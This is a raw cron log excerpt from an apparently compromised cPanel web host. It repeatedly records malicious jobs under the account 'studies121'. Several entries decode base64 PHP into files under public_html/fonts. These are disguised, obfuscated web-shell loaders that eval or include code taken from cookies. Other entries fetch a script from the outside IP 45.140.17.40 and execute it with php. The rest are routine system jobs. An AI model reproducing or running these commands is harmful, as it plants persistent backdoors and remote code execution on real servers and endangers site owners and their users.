Sep 11 05:33:01 ip-184-168-122-23 CROND[8852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:33:01 ip-184-168-122-23 CROND[8853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:34:01 ip-184-168-122-23 CROND[9075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:34:01 ip-184-168-122-23 CROND[9078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:34:01 ip-184-168-122-23 CROND[9079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:34:01 ip-184-168-122-23 CROND[9080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:34:01 ip-184-168-122-23 CROND[9077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:35:01 ip-184-168-122-23 CROND[9189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:35:01 ip-184-168-122-23 CROND[9191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:35:01 ip-184-168-122-23 CROND[9192]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 05:35:01 ip-184-168-122-23 CROND[9193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:35:01 ip-184-168-122-23 CROND[9195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:35:01 ip-184-168-122-23 CROND[9196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:35:01 ip-184-168-122-23 CROND[9194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:35:01 ip-184-168-122-23 CROND[9197]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 05:36:01 ip-184-168-122-23 CROND[9299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:36:01 ip-184-168-122-23 CROND[9302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:36:01 ip-184-168-122-23 CROND[9303]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:36:01 ip-184-168-122-23 CROND[9304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:36:01 ip-184-168-122-23 CROND[9305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:37:01 ip-184-168-122-23 CROND[9387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:37:01 ip-184-168-122-23 CROND[9388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:37:01 ip-184-168-122-23 CROND[9391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:37:01 ip-184-168-122-23 CROND[9389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:38:01 ip-184-168-122-23 CROND[9499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:38:01 ip-184-168-122-23 CROND[9503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:38:01 ip-184-168-122-23 CROND[9505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:38:01 ip-184-168-122-23 CROND[9506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:38:01 ip-184-168-122-23 CROND[9507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:39:01 ip-184-168-122-23 CROND[9710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:39:01 ip-184-168-122-23 CROND[9712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:39:01 ip-184-168-122-23 CROND[9713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:39:01 ip-184-168-122-23 CROND[9715]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 05:39:01 ip-184-168-122-23 CROND[9714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:40:01 ip-184-168-122-23 CROND[9850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 05:40:01 ip-184-168-122-23 CROND[9853]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:40:01 ip-184-168-122-23 CROND[9855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:40:01 ip-184-168-122-23 CROND[9856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:40:01 ip-184-168-122-23 CROND[9860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:40:01 ip-184-168-122-23 CROND[9863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:40:01 ip-184-168-122-23 CROND[9861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:40:01 ip-184-168-122-23 CROND[9862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:41:01 ip-184-168-122-23 CROND[9995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:41:01 ip-184-168-122-23 CROND[9997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:41:01 ip-184-168-122-23 CROND[9996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:41:01 ip-184-168-122-23 CROND[9998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:42:01 ip-184-168-122-23 CROND[10146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:42:01 ip-184-168-122-23 CROND[10148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:42:01 ip-184-168-122-23 CROND[10151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:42:01 ip-184-168-122-23 CROND[10149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:42:01 ip-184-168-122-23 CROND[10150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:43:01 ip-184-168-122-23 CROND[10654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:43:01 ip-184-168-122-23 CROND[10655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:43:01 ip-184-168-122-23 CROND[10656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:43:01 ip-184-168-122-23 CROND[10658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:44:01 ip-184-168-122-23 CROND[10802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:44:01 ip-184-168-122-23 CROND[10806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:44:01 ip-184-168-122-23 CROND[10804]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:44:01 ip-184-168-122-23 CROND[10805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:44:01 ip-184-168-122-23 CROND[10807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:45:02 ip-184-168-122-23 CROND[10996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:45:02 ip-184-168-122-23 CROND[10997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:45:02 ip-184-168-122-23 CROND[10995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
